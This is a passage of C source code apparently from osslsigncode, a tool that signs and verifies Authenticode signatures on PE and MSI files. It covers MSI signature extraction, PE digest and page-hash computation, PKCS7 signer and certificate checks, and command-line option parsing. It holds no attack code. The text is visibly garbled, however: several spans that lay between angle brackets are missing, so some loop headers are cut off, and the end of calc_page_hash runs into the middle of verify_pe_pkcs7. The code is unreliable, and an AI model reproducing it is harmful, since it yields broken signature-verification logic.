1;\n\t\t\tgoto out;\n\t\t}\n\t\t*dsebuf = (unsigned char *) buf;\n\t}\n\nout:\n\treturn ret;\n}\n\n/*\n * msi_extract_signature_to_file extracts the MSI DigitalSignaure from infile\n * to a file at the path given by outfile.\n */\nstatic int msi_extract_signature_to_file(GsfInfile *infile, char *outfile) {\n\tunsigned char hexbuf[EVP_MAX_MD_SIZE*2+1];\n\tGsfInput *sig = NULL;\n\tGsfInput *exsig = NULL;\n\tunsigned char *exdata = NULL;\n\tunsigned long exlen = 0;\n\tBIO *outdata = NULL;\n\tgchar decoded[0x40];\n\tint i, ret = 0;\n\n\tfor (i = 0; i < gsf_infile_num_children(infile); i++) {\n\t\tGsfInput *child = gsf_infile_child_by_index(infile, i);\n\t\tconst guint8 *name = (const guint8*)gsf_input_name(child);\n\t\tmsi_decode(name, decoded);\n\t\tif (!g_strcmp0(decoded, \"\\05DigitalSignature\"))\n\t\t\tsig = child;\n\t\tif (!g_strcmp0(decoded, \"\\05MsiDigitalSignatureEx\"))\n\t\t\texsig = child;\n\t}\n\tif (sig == NULL) {\n\t\tprintf(\"MSI file has no signature\\n\\n\");\n\t\tret = 1;\n\t\tgoto out;\n\t}\n\n\t/* Create outdata file */\n\toutdata = BIO_new_file(outfile, \"w+b\");\n\tif (outdata == NULL) {\n\t\tprintf(\"Unable to open %s\\n\\n\", outfile);\n\t\tret = 1;\n\t\tgoto out;\n\t}\n\n\twhile (gsf_input_remaining(sig) > 0) {\n\t\tgsf_off_t size = MIN(gsf_input_remaining(sig), 4096);\n\t\tguint8 const *data = gsf_input_read(sig, size, NULL);\n\t\tBIO_write(outdata, data, size);\n\t}\n\n\tif (exsig != NULL) {\n\t\texlen = (unsigned long) gsf_input_remaining(exsig);\n\t\tif (exlen > EVP_MAX_MD_SIZE) {\n\t\t\tprintf(\"MsiDigitalSignatureEx is larger than EVP_MAX_MD_SIZE. Aborting...\\n\\n\");\n\t\t\tret = 1;\n\t\t\tgoto out;\n\t\t}\n\n\t\texdata = malloc(exlen);\n\t\tif (gsf_input_read(exsig, exlen, exdata) == NULL) {\n\t\t\tprintf(\"Unable to read MsiDigitalSignatureEx\\n\\n\");\n\t\t\tret = 1;\n\t\t\tgoto out;\n\t\t}\n\n\t\ttohex(exdata, hexbuf, exlen);\n\t\tprintf(\"Note: MSI includes a MsiDigitalSignatureEx section.\\n\");\n\t\tprintf(\"MsiDigitalSignatureEx pre-hash: %s\\n\\n\", hexbuf);\n\t}\n\nout:\n\tfree(exdata);\n\tif (outdata)\n\t\tBIO_free_all(outdata);\n\n\treturn ret;\n}\n\nstatic PKCS7 *msi_extract_signature_to_pkcs7(GsfInfile *infile) {\n\tGsfInput *sig = NULL;\n\tgchar decoded[0x40];\n\tPKCS7 *p7 = NULL;\n\tu_char *buf = NULL;\n\tgsf_off_t size = 0;\n\tint i = 0;\n\n\tfor (i = 0; i < gsf_infile_num_children(infile); i++) {\n\t\tGsfInput *child = gsf_infile_child_by_index(infile, i);\n\t\tconst guint8 *name = (const guint8*)gsf_input_name(child);\n\t\tmsi_decode(name, decoded);\n\t\tif (!g_strcmp0(decoded, \"\\05DigitalSignature\"))\n\t\t\tsig = child;\n\t}\n\tif (sig == NULL) {\n\t\tgoto out;\n\t}\n\n\tsize = gsf_input_remaining(sig);\n\tbuf = malloc(size);\n\tif (gsf_input_read(sig, size, buf) == NULL) {\n\t\tgoto out;\n\t}\n\n\tconst unsigned char *p7buf = buf;\n\tp7 = d2i_PKCS7(NULL, &p7buf, size);\n\nout:\n\tfree(buf);\n\treturn p7;\n}\n\n#endif\n\nstatic void calc_pe_digest(BIO *bio, const EVP_MD *md, unsigned char *mdbuf,\n\t\t\t\t\t\t unsigned int peheader, int pe32plus, unsigned int fileend)\n{\n\tstatic unsigned char bfb[16*1024*1024];\n\tEVP_MD_CTX mdctx;\n\n\tEVP_MD_CTX_init(&mdctx);\n\tEVP_DigestInit(&mdctx, md);\n\n\tmemset(mdbuf, 0, EVP_MAX_MD_SIZE);\n\n\t(void)BIO_seek(bio, 0);\n\tBIO_read(bio, bfb, peheader + 88);\n\tEVP_DigestUpdate(&mdctx, bfb, peheader + 88);\n\tBIO_read(bio, bfb, 4);\n\tBIO_read(bio, bfb, 60+pe32plus*16);\n\tEVP_DigestUpdate(&mdctx, bfb, 60+pe32plus*16);\n\tBIO_read(bio, bfb, 8);\n\n\tunsigned int n = peheader + 88 + 4 + 60+pe32plus*16 + 8;\n\twhile (n < fileend) {\n\t\tint want = fileend - n;\n\t\tif (want > sizeof(bfb))\n\t\t\twant = sizeof(bfb);\n\t\tint l = BIO_read(bio, bfb, want);\n\t\tif (l <= 0)\n\t\t\tbreak;\n\t\tEVP_DigestUpdate(&mdctx, bfb, l);\n\t\tn += l;\n\t}\n\n\tEVP_DigestFinal(&mdctx, mdbuf, NULL);\n}\n\n\nstatic void\textract_page_hash (SpcAttributeTypeAndOptionalValue *obj,\n\t\t\t\t\t\t\t unsigned char **ph, unsigned int *phlen, int *phtype)\n{\n\t*phlen = 0;\n\n\tconst unsigned char *blob = obj->value->value.sequence->data;\n\tSpcPeImageData *id = d2i_SpcPeImageData(NULL, &blob, obj->value->value.sequence->length);\n\tif (id == NULL)\n\t\treturn;\n\n\tif (id->file->type != 1) {\n\t\tSpcPeImageData_free(id);\n\t\treturn;\n\t}\n\n\tSpcSerializedObject *so = id->file->value.moniker;\n\tif (so->classId->length != sizeof(classid_page_hash) ||\n\t\tmemcmp(so->classId->data, classid_page_hash, sizeof (classid_page_hash))) {\n\t\tSpcPeImageData_free(id);\n\t\treturn;\n\t}\n\n\t/* skip ASN.1 SET hdr */\n\tunsigned int l = asn1_simple_hdr_len(so->serializedData->data, so->serializedData->length);\n\tblob = so->serializedData->data + l;\n\tobj = d2i_SpcAttributeTypeAndOptionalValue(NULL, &blob, so->serializedData->length - l);\n\tSpcPeImageData_free(id);\n\tif (!obj)\n\t\treturn;\n\n\tchar buf[128];\n\t*phtype = 0;\n\tbuf[0] = 0x00;\n\tOBJ_obj2txt(buf, sizeof(buf), obj->type, 1);\n\tif (!strcmp(buf, SPC_PE_IMAGE_PAGE_HASHES_V1)) {\n\t\t*phtype = NID_sha1;\n\t} else if (!strcmp(buf, SPC_PE_IMAGE_PAGE_HASHES_V2)) {\n\t\t*phtype = NID_sha256;\n\t} else {\n\t\tSpcAttributeTypeAndOptionalValue_free(obj);\n\t\treturn;\n\t}\n\n\t/* Skip ASN.1 SET hdr */\n\tunsigned int l2 = asn1_simple_hdr_len(obj->value->value.sequence->data, obj->value->value.sequence->length);\n\t/* Skip ASN.1 OCTET STRING hdr */\n\tl = asn1_simple_hdr_len(obj->value->value.sequence->data + l2, obj->value->value.sequence->length - l2);\n\tl += l2;\n\t*phlen = obj->value->value.sequence->length - l;\n\t*ph = malloc(*phlen);\n\tmemcpy(*ph, obj->value->value.sequence->data + l, *phlen);\n\tSpcAttributeTypeAndOptionalValue_free(obj);\n}\n\nstatic unsigned char *calc_page_hash(char *indata, unsigned int peheader, int pe32plus,\n\t\t\t\t\t\t\t\t\t unsigned int sigpos, int phtype, unsigned int *rphlen)\n{\n\tunsigned short nsections = GET_UINT16_LE(indata + peheader + 6);\n\tunsigned int pagesize = GET_UINT32_LE(indata + peheader + 56);\n\tunsigned int hdrsize = GET_UINT32_LE(indata + peheader + 84);\n\tconst EVP_MD *md = EVP_get_digestbynid(phtype);\n\tint pphlen = 4 + EVP_MD_size(md);\n\tint phlen = pphlen * (3 + nsections + sigpos / pagesize);\n\tunsigned char *res = malloc(phlen);\n\tunsigned char *zeroes = calloc(pagesize, 1);\n\tEVP_MD_CTX mdctx;\n\n\tEVP_MD_CTX_init(&mdctx);\n\tEVP_DigestInit(&mdctx, md);\n\tEVP_DigestUpdate(&mdctx, indata, peheader + 88);\n\tEVP_DigestUpdate(&mdctx, indata + peheader + 92, 60 + pe32plus*16);\n\tEVP_DigestUpdate(&mdctx, indata + peheader + 160 + pe32plus*16, hdrsize - (peheader + 160 + pe32plus*16));\n\tEVP_DigestUpdate(&mdctx, zeroes, pagesize - hdrsize);\n\tmemset(res, 0, 4);\n\tEVP_DigestFinal(&mdctx, res + 4, NULL);\n\n\tunsigned short sizeofopthdr = GET_UINT16_LE(indata + peheader + 20);\n\tchar *sections = indata + peheader + 24 + sizeofopthdr;\n\tint i, pi = 1;\n\tunsigned int lastpos = 0;\n\tfor (i=0; id.sign->contents->type, indir_objid) &&\n\t\tp7->d.sign->contents->d.other->type == V_ASN1_SEQUENCE) {\n\t\tASN1_STRING *astr = p7->d.sign->contents->d.other->value.sequence;\n\t\tconst unsigned char *p = astr->data;\n\t\tSpcIndirectDataContent *idc = d2i_SpcIndirectDataContent(NULL, &p, astr->length);\n\t\tif (idc) {\n\t\t\textract_page_hash (idc->data, &ph, &phlen, &phtype);\n\t\t\tif (idc->messageDigest && idc->messageDigest->digest && idc->messageDigest->digestAlgorithm) {\n\t\t\t\tmdtype = OBJ_obj2nid(idc->messageDigest->digestAlgorithm->algorithm);\n\t\t\t\tmemcpy(mdbuf, idc->messageDigest->digest->data, idc->messageDigest->digest->length);\n\t\t\t}\n\t\t\tSpcIndirectDataContent_free(idc);\n\t\t}\n\t}\n\tASN1_OBJECT_free(indir_objid);\n\n\tif (mdtype == -1) {\n\t\tprintf(\"Failed to extract current message digest\\n\\n\");\n\t\treturn -1;\n\t}\n\n\tprintf(\"Message digest algorithm : %s\\n\", OBJ_nid2sn(mdtype));\n\n\tconst EVP_MD *md = EVP_get_digestbynid(mdtype);\n\ttohex(mdbuf, hexbuf, EVP_MD_size(md));\n\tprintf(\"Current message digest : %s\\n\", hexbuf);\n\n\tbio = BIO_new_mem_buf(indata, sigpos + siglen);\n\tcalc_pe_digest(bio, md, cmdbuf, peheader, pe32plus, sigpos);\n\tBIO_free(bio);\n\ttohex(cmdbuf, hexbuf, EVP_MD_size(md));\n\tint mdok = !memcmp(mdbuf, cmdbuf, EVP_MD_size(md));\n\tif (!mdok) ret = 1;\n\tprintf(\"Calculated message digest : %s%s\\n\\n\", hexbuf, mdok?\"\":\" MISMATCH!!!\");\n\n\tif (phlen > 0) {\n\t\tprintf(\"Page hash algorithm : %s\\n\", OBJ_nid2sn(phtype));\n\t\ttohex(ph, hexbuf, (phlen < 32) ? phlen : 32);\n\t\tprintf(\"Page hash : %s ...\\n\", hexbuf);\n\t\tunsigned int cphlen = 0;\n\t\tunsigned char *cph = calc_page_hash(indata, peheader, pe32plus, sigpos, phtype, &cphlen);\n\t\ttohex(cph, hexbuf, (cphlen < 32) ? cphlen : 32);\n\t\tprintf(\"Calculated page hash : %s ...%s\\n\\n\", hexbuf,\n\t\t\t ((phlen != cphlen) || memcmp(ph, cph, phlen)) ? \" MISMATCH!!!\":\"\");\n\t\tfree(ph);\n\t\tfree(cph);\n\t}\n\n\tint seqhdrlen = asn1_simple_hdr_len(p7->d.sign->contents->d.other->value.sequence->data,\n\t\t\t\t\t\t\t\t\t\tp7->d.sign->contents->d.other->value.sequence->length);\n\tbio = BIO_new_mem_buf(p7->d.sign->contents->d.other->value.sequence->data + seqhdrlen,\n\t\t\t\t\t\t p7->d.sign->contents->d.other->value.sequence->length - seqhdrlen);\n\tX509_STORE *store = X509_STORE_new();\n\tint verok = PKCS7_verify(p7, p7->d.sign->cert, store, bio, NULL, PKCS7_NOVERIFY);\n\tBIO_free(bio);\n\t/* XXX: add more checks here (attributes, timestamp, etc) */\n\tprintf(\"Signature verification: %s\\n\\n\", verok ? \"ok\" : \"failed\");\n\tif (!verok) {\n\t\tERR_print_errors_fp(stdout);\n\t\tret = 1;\n\t}\n\n\tint i;\n\tint leafok = 0;\n\tSTACK_OF(X509) *signers = PKCS7_get0_signers(p7, NULL, 0);\n\tprintf(\"Number of signers: %d\\n\", sk_X509_num(signers));\n\tfor (i=0; i 0)\n\t\t\tprintf(\"\\t------------------\\n\");\n\t\tprintf(\"\\tSigner #%d:\\n\\t\\tSubject: %s\\n\\t\\tIssuer : %s\\n\\t\\tSerial : %s\\n\",\n\t\t\t i, subject, issuer, serial);\n\t\tOPENSSL_free(subject);\n\t\tOPENSSL_free(issuer);\n\t\tOPENSSL_free(serial);\n\t\tBN_free(serialbn);\n\n\t\tif (leafhash != NULL && leafok == 0) {\n\t\t\tleafok = verify_leaf_hash(cert, leafhash) == 0;\n\t\t}\n\t}\n\tsk_X509_free(signers);\n\n\tprintf(\"\\nNumber of certificates: %d\\n\", sk_X509_num(p7->d.sign->cert));\n\tfor (i=0; id.sign->cert); i++) {\n\t\tX509 *cert = sk_X509_value(p7->d.sign->cert, i);\n\t\tchar *subject = X509_NAME_oneline(X509_get_subject_name(cert), NULL, 0);\n\t\tchar *issuer = X509_NAME_oneline(X509_get_issuer_name(cert), NULL, 0);\n\t\tBIGNUM *serialbn = ASN1_INTEGER_to_BN(X509_get_serialNumber(cert), NULL);\n\t\tchar *serial = BN_bn2hex(serialbn);\n\t\tif (i > 0)\n\t\t\tprintf(\"\\t------------------\\n\");\n\t\tprintf(\"\\tCert #%d:\\n\\t\\tSubject: %s\\n\\t\\tIssuer : %s\\n\\t\\tSerial : %s\\n\",\n\t\t\t i, subject, issuer, serial);\n\t\tOPENSSL_free(subject);\n\t\tOPENSSL_free(issuer);\n\t\tOPENSSL_free(serial);\n\t\tBN_free(serialbn);\n\t}\n\n\tif (leafhash != NULL) {\n\t\tprintf(\"\\nLeaf hash match: %s\\n\", leafok ? \"ok\" : \"failed\");\n\t\tif (!leafok)\n\t\t\tret = 1;\n\t}\n\n\tif (allownest) {\n\t\tint has_sig = 0;\n\t\tPKCS7 *p7nest = pkcs7_get_nested_signature(p7, &has_sig);\n\t\tif (p7nest) {\n\t\t\tprintf(\"\\n\");\n\t\t\tint nest_ret = verify_pe_pkcs7(p7nest, indata, peheader, pe32plus, sigpos, siglen, leafhash, 0);\n\t\t\tif (ret == 0)\n\t\t\t\tret = nest_ret;\n\t\t\tPKCS7_free(p7nest);\n\t\t} else if (!p7nest && has_sig) {\n\t\t\tprintf(\"\\nFailed to decode nested signature!\\n\");\n\t\t\tret = 1;\n\t\t} else\n\t\t\tprintf(\"\\n\");\n\t} else\n\t\tprintf(\"\\n\");\n\n\tX509_STORE_free(store);\n\n\treturn ret;\n}\n\nstatic int verify_pe_file(char *indata, unsigned int peheader, int pe32plus,\n\t\t\t\t\t\t unsigned int sigpos, unsigned int siglen, char *leafhash)\n{\n\tint ret = 0;\n\tunsigned int pe_checksum = GET_UINT32_LE(indata + peheader + 88);\n\tprintf(\"Current PE checksum : %08X\\n\", pe_checksum);\n\n\tBIO *bio = BIO_new_mem_buf(indata, sigpos + siglen);\n\tunsigned int real_pe_checksum = calc_pe_checksum(bio, peheader);\n\tBIO_free(bio);\n\tif (pe_checksum && pe_checksum != real_pe_checksum)\n\t\tret = 1;\n\tprintf(\"Calculated PE checksum: %08X%s\\n\\n\", real_pe_checksum,\n\t\t ret ? \" MISMATCH!!!!\" : \"\");\n\tif (siglen == 0) {\n\t\tprintf(\"No signature found.\\n\\n\");\n\t\treturn ret;\n\t}\n\n\tunsigned int pos = 0;\n\tPKCS7 *p7 = NULL;\n\n\twhile (pos < siglen) {\n\t\tunsigned int l = GET_UINT32_LE(indata + sigpos + pos);\n\t\tunsigned short certrev = GET_UINT16_LE(indata + sigpos + pos + 4);\n\t\tunsigned short certtype = GET_UINT16_LE(indata + sigpos + pos + 6);\n\t\tif (certrev == WIN_CERT_REVISION_2 && certtype == WIN_CERT_TYPE_PKCS_SIGNED_DATA) {\n\t\t\tconst unsigned char *blob = (unsigned char*)indata + sigpos + pos + 8;\n\t\t\tp7 = d2i_PKCS7(NULL, &blob, l - 8);\n\t\t}\n\t\tif (l%8)\n\t\t\tl += (8 - l%8);\n\t\tpos += l;\n\t}\n\n\tif (p7 == NULL) {\n\t\tprintf(\"Failed to extract PKCS7 data\\n\\n\");\n\t\treturn -1;\n\t}\n\n\tret = verify_pe_pkcs7(p7, indata, peheader, pe32plus, sigpos, siglen, leafhash, 1);\n\tPKCS7_free(p7);\n\treturn ret;\n}\n\n// extract_existing_pe_pkcs7 retreives a decoded PKCS7 struct corresponding to the\n// existing signature of the PE file.\nstatic PKCS7 *extract_existing_pe_pkcs7(char *indata, unsigned int peheader, int pe32plus,\n\t\t\t\t\t\t\t\t\t unsigned int sigpos, unsigned int siglen)\n{\n\tunsigned int pos = 0;\n\tPKCS7 *p7 = NULL;\n\n\twhile (pos < siglen) {\n\t\tunsigned int l = GET_UINT32_LE(indata + sigpos + pos);\n\t\tunsigned short certrev = GET_UINT16_LE(indata + sigpos + pos + 4);\n\t\tunsigned short certtype = GET_UINT16_LE(indata + sigpos + pos + 6);\n\t\tif (certrev == WIN_CERT_REVISION_2 && certtype == WIN_CERT_TYPE_PKCS_SIGNED_DATA) {\n\t\t\tconst unsigned char *blob = (unsigned char*)indata + sigpos + pos + 8;\n\t\t\tp7 = d2i_PKCS7(NULL, &blob, l - 8);\n\t\t}\n\t\tif (l%8)\n\t\t\tl += (8 - l%8);\n\t\tpos += l;\n\t}\n\n\treturn p7;\n}\n\nstatic STACK_OF(X509) *PEM_read_certs_with_pass(BIO *bin, char *certpass)\n{\n\tSTACK_OF(X509) *certs = sk_X509_new_null();\n\tX509 *x509;\n\t(void)BIO_seek(bin, 0);\n\twhile((x509 = PEM_read_bio_X509(bin, NULL, NULL, certpass)))\n\t\tsk_X509_push(certs, x509);\n\tif (!sk_X509_num(certs)) {\n\t\tsk_X509_free(certs);\n\t\treturn NULL;\n\t}\n\treturn certs;\n}\n\nstatic STACK_OF(X509) *PEM_read_certs(BIO *bin, char *certpass)\n{\n\tSTACK_OF(X509) *certs = PEM_read_certs_with_pass(bin, certpass);\n\tif (!certs)\n\t\tcerts = PEM_read_certs_with_pass(bin, NULL);\n\treturn certs;\n}\n\n\nstatic off_t get_file_size(const char *infile)\n{\n\tint ret;\n#ifdef _WIN32\n\tstruct _stat st;\n\tret = _stat(infile, &st);\n#else\n\tstruct stat st;\n\tret = stat(infile, &st);\n#endif\n\tif (ret)\n\t{\n\t\tfprintf(stderr, \"Failed to open file: %s\\n\", infile);\n\t\treturn 0;\n\t}\n\n\tif (st.st_size < 4) {\n\t\tfprintf(stderr, \"Unrecognized file type - file is too short: %s\\n\", infile);\n\t\treturn 0;\n\t}\n\treturn st.st_size;\n}\n\nstatic char* map_file(const char *infile, const off_t size)\n{\n\tchar *indata = NULL;\n#ifdef WIN32\n\tHANDLE fh, fm;\n\tfh = CreateFile(infile, GENERIC_READ, FILE_SHARE_READ , NULL, OPEN_EXISTING, 0, NULL);\n\tif (fh == INVALID_HANDLE_VALUE)\n\t\treturn NULL;\n\tfm = CreateFileMapping(fh, NULL, PAGE_READONLY, 0, 0, NULL);\n\tif (fm == NULL)\n\t\treturn NULL;\n\tindata = MapViewOfFile(fm, FILE_MAP_READ, 0, 0, 0);\n#else\n\tint fd = open(infile, O_RDONLY);\n\tif (fd < 0)\n\t\treturn NULL;\n\tindata = mmap(0, size, PROT_READ, MAP_PRIVATE, fd, 0);\n\tif (indata == MAP_FAILED)\n\t\treturn NULL;\n#endif\n\treturn indata;\n}\n\n#ifdef PROVIDE_ASKPASS\nchar *getpassword(const char *prompt)\n{\n#ifdef HAVE_TERMIOS_H\n\tstruct termios ofl, nfl;\n char *p, passbuf[1024];\n\n fputs(prompt, stdout);\n\n tcgetattr(fileno(stdin), &ofl);\n nfl = ofl;\n nfl.c_lflag &= ~ECHO;\n nfl.c_lflag |= ECHONL;\n\n if (tcsetattr(fileno(stdin), TCSANOW, &nfl) != 0) {\n\t fprintf(stderr, \"Failed to set terminal attributes\\n\");\n\t\treturn NULL;\n }\n\n p = fgets(passbuf, sizeof(passbuf), stdin);\n\n if (tcsetattr(fileno(stdin), TCSANOW, &ofl) != 0)\n\t fprintf(stderr, \"Failed to restore terminal attributes\\n\");\n\n\tif (!p) {\n\t fprintf(stderr, \"Failed to read password\\n\");\n\t\treturn NULL;\n }\n\n\tpassbuf[strlen(passbuf)-1] = 0x00;\n\tchar *pass = strdup(passbuf);\n\tmemset(passbuf, 0, sizeof(passbuf));\n\treturn pass;\n#else\n\treturn getpass(prompt);\n#endif\n}\n#endif\n\nint main(int argc, char **argv)\n{\n\tBIO *btmp, *sigbio, *hash, *outdata;\n\tPKCS12 *p12;\n\tPKCS7 *p7 = NULL, *cursig = NULL, *outsig = NULL, *sig, *p7x = NULL;\n\tX509 *cert = NULL;\n\tSTACK_OF(X509) *certs = NULL, *xcerts = NULL;\n\tEVP_PKEY *pkey = NULL;\n\tPKCS7_SIGNER_INFO *si;\n\tASN1_STRING *astr;\n\tconst EVP_MD *md;\n\n\tconst char *argv0 = argv[0];\n\tstatic char buf[64*1024];\n\tchar *xcertfile, *certfile, *keyfile, *pvkfile, *pkcs12file, *infile, *outfile, *sigfile, *desc, *url, *indata, *insigdata, *outdataverify;\n\tchar *p11engine, *p11module;\n\tchar *pass = NULL, *readpass = NULL;\n\tint output_pkcs7 = 0;\n\tint askpass = 0;\n\tchar *leafhash = NULL;\n#ifdef ENABLE_CURL\n\tchar *turl[MAX_TS_SERVERS], *proxy = NULL, *tsurl[MAX_TS_SERVERS];\n\tint noverifypeer = 0;\n#endif\n\tint nest = 0;\n\tint add_msi_dse = 0;\n\tint nturl = 0, ntsurl = 0;\n\tint addBlob = 0;\n\tu_char *p = NULL;\n\tint ret = 0, i, len = 0, jp = -1, pe32plus = 0, comm = 0, pagehash = 0;\n\tunsigned int tmp, peheader = 0, padlen = 0;\n\toff_t filesize, fileend, sigfilesize, sigfileend, outdatasize;\n\tfile_type_t type;\n\tcmd_type_t cmd = CMD_SIGN;\n\tchar *failarg = NULL;\n\n\tstatic u_char purpose_ind[] = {\n\t\t0x30, 0x0c,\n\t\t0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x15\n\t};\n\n\tstatic u_char purpose_comm[] = {\n\t\t0x30, 0x0c,\n\t\t0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x16\n\t};\n\n\tstatic u_char msi_signature[] = {\n\t\t0xd0, 0xcf, 0x11, 0xe0, 0xa1, 0xb1, 0x1a, 0xe1\n\t};\n\n#ifdef WITH_GSF\n\tGsfOutfile *outole = NULL;\n\tGsfOutput *sink = NULL;\n\tu_char *p_msiex = NULL;\n\tint len_msiex = 0;\n#endif\n\n\txcertfile = certfile = keyfile = pvkfile = pkcs12file = p11module = p11engine = infile = outfile = sigfile = desc = url = NULL;\n\thash = outdata = NULL;\n\n\t/* Set up OpenSSL */\n\tERR_load_crypto_strings();\n\tOPENSSL_add_all_algorithms_conf();\n\n\t/* create some MS Authenticode OIDS we need later on */\n\tif (!OBJ_create(SPC_STATEMENT_TYPE_OBJID, NULL, NULL) ||\n\t\t!OBJ_create(SPC_MS_JAVA_SOMETHING, NULL, NULL) ||\n\t\t!OBJ_create(SPC_SP_OPUS_INFO_OBJID, NULL, NULL) ||\n\t\t!OBJ_create(SPC_NESTED_SIGNATURE_OBJID, NULL, NULL))\n\t\tDO_EXIT_0(\"Failed to add objects\\n\");\n\n\tmd = EVP_sha1();\n\n\tif (argc > 1) {\n\t\tif (!strcmp(argv[1], \"sign\")) {\n\t\t\tcmd = CMD_SIGN;\n\t\t\targv++;\n\t\t\targc--;\n\t\t} else if (!strcmp(argv[1], \"extract-signature\")) {\n\t\t\tcmd = CMD_EXTRACT;\n\t\t\targv++;\n\t\t\targc--;\n\t\t} else if (!strcmp(argv[1], \"attach-signature\")) {\n\t\t\tcmd = CMD_ATTACH;\n\t\t\targv++;\n argc--;\n\t\t} else if (!strcmp(argv[1], \"remove-signature\")) {\n\t\t\tcmd = CMD_REMOVE;\n\t\t\targv++;\n\t\t\targc--;\n\t\t} else if (!strcmp(argv[1], \"verify\")) {\n\t\t\tcmd = CMD_VERIFY;\n\t\t\targv++;\n\t\t\targc--;\n\t\t} else if (!strcmp(argv[1], \"add\")) {\n\t\t\tcmd = CMD_ADD;\n\t\t\targv++;\n\t\t\targc--;\n\t\t}\n\t}\n\n\tfor (argc--,argv++; argc >= 1; argc--,argv++) {\n\t\tif (!strcmp(*argv, \"-in\")) {\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\tinfile = *(++argv);\n\t\t} else if (!strcmp(*argv, \"-out\")) {\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\toutfile = *(++argv);\n\t\t} else if (!strcmp(*argv, \"-sigin\")) {\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\tsigfile = *(++argv);\n\t\t} else if ((cmd == CMD_SIGN) && (!strcmp(*argv, \"-spc\") || !strcmp(*argv, \"-certs\"))) {\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\tcertfile = *(++argv);\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-ac\")) {\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\txcertfile = *(++argv);\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-key\")) {\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\tkeyfile = *(++argv);\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-pkcs12\")) {\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\tpkcs12file = *(++argv);\n\t\t} else if ((cmd == CMD_EXTRACT) && !strcmp(*argv, \"-pem\")) {\n\t\t\toutput_pkcs7 = 1;\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-pkcs11engine\")) {\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\tp11engine = *(++argv);\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-pkcs11module\")) {\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\tp11module = *(++argv); \n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-pass\")) {\n\t\t\tif (askpass || readpass) usage(argv0);\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\tpass = strdup(*(++argv));\n\t\t\tmemset(*argv, 0, strlen(*argv));\n#ifdef PROVIDE_ASKPASS\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-askpass\")) {\n\t\t\tif (pass || readpass) usage(argv0);\n\t\t\taskpass = 1;\n#endif\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-readpass\")) {\n\t\t\tif (askpass || pass) usage(argv0);\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\treadpass = *(++argv);\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-comm\")) {\n\t\t\tcomm = 1;\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-ph\")) {\n\t\t\tpagehash = 1;\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-n\")) {\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\tdesc = *(++argv);\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-h\")) {\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\t++argv;\n\t\t\tif (!strcmp(*argv, \"md5\")) {\n\t\t\t\tmd = EVP_md5();\n\t\t\t} else if (!strcmp(*argv, \"sha1\")) {\n\t\t\t\tmd = EVP_sha1();\n\t\t\t} else if (!strcmp(*argv, \"sha2\") || !strcmp(*argv, \"sha256\")) {\n\t\t\t\tmd = EVP_sha256();\n\t\t\t} else if (!strcmp(*argv, \"sha384\")) {\n\t\t\t\tmd = EVP_sha384();\n\t\t\t} else if (!strcmp(*argv, \"sha512\")) {\n\t\t\t\tmd = EVP_sha512();\n\t\t\t} else {\n\t\t\t\tusage(argv0);\n\t\t\t}\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-i\")) {\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\turl = *(++argv);\n#ifdef ENABLE_CURL\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-t\")) {\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\tturl[nturl++] = *(++argv);\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-ts\")) {\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\ttsurl[ntsurl++] = *(++argv);\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-p\")) {\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\tproxy = *(++argv);\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-noverifypeer\")) {\n\t\t\tnoverifypeer = 1;\n#endif\n\t\t} else if ((cmd == CMD_SIGN || cmd == CMD_ADD) && !strcmp(*argv, \"-addUnauthenticatedBlob\")) {\n\t\t\taddBlob = 1;\n\t\t} else if ((cmd == CMD_SIGN || cmd == CMD_ATTACH) && !strcmp(*argv, \"-nest\")) {\n\t\t\tnest = 1;\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-verbose\")) {\n\t\t\tg_verbose = 1;\n\t\t} else if ((cmd == CMD_SIGN) && !strcmp(*argv, \"-add-msi-dse\")) {\n\t\t\tadd_msi_dse = 1;\n\t\t} else if ((cmd == CMD_VERIFY) && !strcmp(*argv, \"-require-leaf-hash\")) {\n\t\t\tif (--argc < 1) usage(argv0);\n\t\t\tleafhash = (*++argv);\n\t\t} else if (!strcmp(*argv, \"-v\") || !strcmp(*argv, \"--version\")) {\n\t\t\tprintf(PACKAGE_STRING \", using:\\n\\t%s\\n\\t%s\\n\",\n\t\t\t\t SSLeay_version(SSLEAY_VERSION),\n#ifdef ENABLE_CURL\n\t\t\t\t curl_version()\n#else\n\t\t\t\t \"no libcurl 